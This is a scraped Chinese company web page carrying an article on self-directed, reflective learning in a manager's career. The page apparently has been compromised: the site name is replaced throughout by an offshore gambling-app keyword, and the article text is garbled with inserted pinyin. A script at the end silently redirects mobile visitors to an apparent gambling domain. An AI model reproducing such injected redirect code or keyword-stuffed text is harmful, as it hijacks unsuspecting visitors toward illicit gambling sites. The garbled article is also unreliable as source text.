欧洲杯外围滚球app

欢迎光临山西全联欧洲杯外围滚球app有限公司(si)官(guan)方(fang)网站!  今天是:2021-08-21 19:51  星期六(liu) 设为欧洲杯外围滚球app加入收藏
  • QQ咨询

  • 在线咨(zi)询(xun)
当前位置:欧洲杯外围滚球app > 职业指导

职业生涯中的自我(wo)学习(xi)的重要性(xing)

【编辑时间:2015-02-16 11:02:29 来源:心灵咖啡 作者:管(guan)理员 浏览热(re)度(du):4896】

一提起学(xue)(xue)习,对(dui)于中(zhong)国经理人(ren)来说(shuo),恐怕首先想(xiang)到的(de)是传(chuan)统意义上的(de)课(ke)堂教学(xue)(xue)。但这(zhei)种单向被动(dong)式的(de)学(xue)(xue)习方(fang)法(fa)(fa)根本无法(fa)(fa)使经理人(ren)从容(rong)面对(dui)信息爆炸的(de)知(zhi)识经济时(shi)代。对(dui)于职业经理人(ren)而言,更(geng)重要(yao)的(de)是自身(shen)从实践(jian)和行动(dong)中(zhong)不(bu)断学(xue)(xue)习。这(zhei)样才能做到融会贯通(tong),真(zhen)正做学(xue)(xue)习的(de)主人(ren)。

无论(lun)你在职业(ye)生涯开(kai)始时才具(ju)多高,如(ru)果没有(you)继续进取,不断修炼业(ye)务技能,便不可能使(shi)自己(ji)的事业(ye)更上层楼。

你(ni)必(bi)须寻求(qiu)各(ge)种(zhong)途径(jing)使自己(ji)成为各(ge)领域的行家。从日新月异的技术到新的领导方式,你(ni)都得不(bu)断提高自己(ji)。一味(wei)坐等难免不(bu)掉(diao)队。

自学(xue)并(bing)非易事,虽然许多(duo)人从师多(duo)年,但从自学(xue)最精(jing)确的意(yi)义上讲,他(ta)们的自学(xue)能(neng)力(li)十分有限。

传统的学习方式是以教师为中心的。它的结果是一种“应付式的学习”,为应付预期的局面而去完成规定的任务。著名作家兼预言家Alvin Toffler(托夫勒)补充说,工业社会里的学习有三种基本相似的特征:准时、顺从和死记硬背。它们有助于标准化而非创新,并容易助长对权威的盲从。

显然(ran),这些(xie)都不能(neng)解决实际(ji)中的(de)问题(ti),所(suo)学(xue)(xue)的(de)也(ye)不是(shi)眼前与未来(lai)所(suo)需(xu)要的(de)技能(neng)。所(suo)以(yi)你应(ying)掌握一种迥然(ran)不同的(de)学(xue)(xue)习方法。

迫切性的问题

这种普(pu)遍存在的(de)(de)难题因为(wei)当事(shi)人(ren)所处的(de)(de)环境(jing)变得更加错(cuo)综复杂:时(shi)间压力(li),短期目标和迅速决(jue)策的(de)(de)要求,它们都与责任和知(zhi)识有关(guan)。此外(wai),经理(li)人(ren)一般都少有失败的(de)(de)经历,自(zi)然希望避(bi)免因为(wei)深奥的(de)(de)学习(xi)而力(li)不从(cong)心、窘态毕现或痛心疾首。

现存(cun)的组(zu)织(zhi)形态在助长等级差(cha)别、鼓励升迁以(yi)及反对冒(mao)险方(fang)面的行(xing)为,更加剧(ju)了经理们的学习困境。

令人欣慰的(de)是(shi),我们已经开始认(ren)识到(dao)学(xue)习是(shi)一种关键技能。由于(yu)学(xue)习能激发(fa)创新,所(suo)以学(xue)习能力便(bian)代(dai)表了一种货真(zhen)价实的(de)可持(chi)续的(de)竞争优势。

诸如Skandia Group、Dow Chemical和Hughes Aircrafts等经营上可(ke)圈可(ke)点的(de)公(gong)(gong)司(si),都在(zai)力(li)求(qiu)把(ba)公(gong)(gong)司(si)的(de)智(zhi)力(li)资源(yuan)变成公(gong)(gong)司(si)的(de)商业资产。他们还设立了“知(zhi)识经理”这一职位。目前,一种建立学习(xi)型组织的(de)做法正(zheng)广受关注。它不(bu)仅为我们开启集体(ti)学习(xi)的(de)新路,而且还能促(cu)使你在(zai)学习(xi)方(fang)法上有所创(chuang)新。

向创新型学习的转变,使学习方法产生了翻天覆地的变化。我们更加强调以学习者为中心、自我调节、经验和反思相结合等。众所周知,有些人经常不断重复无效行为;有的人婚姻屡屡触礁;还有的人则长年背运,经常遇到麻烦或遭受压力;更有人从未实现过自己的目标,他们一味怨天尤人、诅咒命运多舛。这些人似乎并不知道,如果搞清了他们所处的环境以及他们自己的能动作用,他们的境遇将截然不同。

问题的产生大多与缺乏学习有关。在生活中顺其自然,而不是自己去影响生活。这好比把你的全部希望都赌在彩票上,而不是想方设法去更好地利用触手可及的资源。

另一方面,成功人士都能不断通过实践学习,改进自己的行为,掌握技能并从中获得适应各种环境的能力。这其实也就是自学的全部内涵。

自学与其它形式学习(xi)(xi)的(de)(de)区别在(zai)(zai)于(yu),前者(zhe)将寻(xun)求学习(xi)(xi)机会(hui)的(de)(de)任(ren)务(wu)交给了学习(xi)(xi)者(zhe)本人。在(zai)(zai)其它的(de)(de)学习(xi)(xi)形式中,你(ni)必须依(yi)靠他人。在(zai)(zai)童年时代,你(ni)所掌握的(de)(de)大部分知识是从父母(mu)或老师那里学来的(de)(de)。进入成年后,你(ni)所学会(hui)的(de)(de)大多(duo)数技(ji)(ji)能(neng),如(ru)开车(che)、滑(hua)雪、操(cao)作计(ji)算机等,包括操(cao)作过(guo)程和(he)理(li)解(jie)过(guo)程,都(dou)来源于(yu)外部。这些技(ji)(ji)能(neng)一旦学会(hui),便可随(sui)时遣用。

然而(er),其它的学(xue)习内(nei)容,如(ru)(ru)(ru)学(xue)会(hui)如(ru)(ru)(ru)何(he)化(hua)解(jie)人际间的矛盾(dun)、如(ru)(ru)(ru)何(he)发挥(hui)作(zuo)为(wei)团队中(zhong)一员的作(zuo)用,却并(bing)非如(ru)(ru)(ru)此直(zhi)截了当。这(zhei)些(xie)问题更(geng)为(wei)复(fu)杂,超出了单(dan)纯体力(li)或智力(li)的范围。它需要(yao)你(ni)不断反思,借助你(ni)以前(qian)的经(jing)验(yan)积累来理(li)解(jie)和掌(zhang)握。

复(fu)(fu)杂局面的控制通常不能操之过急,而且事先也很难准确预(yu)料最(zui)终结果。它(ta)需要(yao)一段(duan)时间的经验积累。在此,需要(yao)的是(shi)智慧(hui)而不是(shi)简(jian)单的技巧。因此在日益复(fu)(fu)杂的社(she)会(hui)中应该加强自我引导,增强反(fan)应能力。

《刻意求变》一文的作者Allen Tough(塔夫)说,成年人只有不到30%的知识是通过正规教育、顾问及老板得来的。多达70%的知识来自他们的亲身体验,因而牢牢掌握在自己手中。

良性循环

可惜的(de)(de)(de)是,由于(yu)你(ni)(ni)的(de)(de)(de)切(qie)身(shen)体(ti)验一般来(lai)说也是不(bu)可预(yu)料的(de)(de)(de),对这(zhei)种(zhong)体(ti)验所(suo)作(zuo)的(de)(de)(de)反应无(wu)法事先(xian)界定,所(suo)以这(zhei)种(zhong)形式的(de)(de)(de)学(xue)(xue)习通常(chang)是下发生(sheng)的(de)(de)(de),就(jiu)象(xiang)复(fu)印过程(cheng)一样。这(zhei)样,这(zhei)些体(ti)验的(de)(de)(de)学(xue)(xue)习价值可能(neng)会(hui)被破(po)坏,错误的(de)(de)(de)东西(xi)得(de)以滋长。你(ni)(ni)学(xue)(xue)会(hui)隐瞒问题,是因(yin)为你(ni)(ni)所(suo)在(zai)的(de)(de)(de)单位(wei)“枪打传信人(ren)(ren)”。你(ni)(ni)学(xue)(xue)会(hui)在(zai)人(ren)(ren)前抢先(xian)抖出最后结果,是因(yin)为这(zhei)种(zhong)结果能(neng)得(de)到赞赏。

反思学习过程是一种能保证你从实际体验中获取教益的过程,以此作为促使人生阅历增长和专业技能成熟的手段。如过程特性图所示,反思学习是对正在发生的行为和事件进行理性的审视。它能产生一种可以指明未来活动和行为的洞见。

这个(ge)(ge)周期(qi)过程可用一个(ge)(ge)圆球表示,它是一个(ge)(ge)由亲身(shen)经(jing)历触发、从(cong)反应开(kai)始、通过发现(xian)和计划(hua)推动个(ge)(ge)人内向运动的过程。在重(zhong)新学习之后(hou),个(ge)(ge)人将再次参与(yu)实际体(ti)验过程中去。

反思学习过程是一个体验过程,学习者可以将认识与行为实时联系。它还具重复性,每个有意义的经历和经验都代表一种参与反思过程的机会,从而可使学习行为得以延续。最后一点是自学者自我掌控自己的学习进程。

未来的(de)(de)管理挑战当然是无(wu)法(fa)预见的(de)(de),机遇也(ye)同样(yang)如(ru)此:富有创造性的(de)(de)令(ling)人满意(yi)的(de)(de)工作(zuo)(zuo)、更有效率的(de)(de)企业、更为和(he)谐的(de)(de)人际关系,以及更强(qiang)的(de)(de)自(zi)我指导能力等(deng)等(deng)。你(ni)的(de)(de)任务(wu)是作(zuo)(zuo)好准(zhun)备,使(shi)这些机会(hui)不至(zhi)于(yu)从(cong)指间流失(shi)。

 |  |  |  |  |  |  |  |  |  |  | 
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();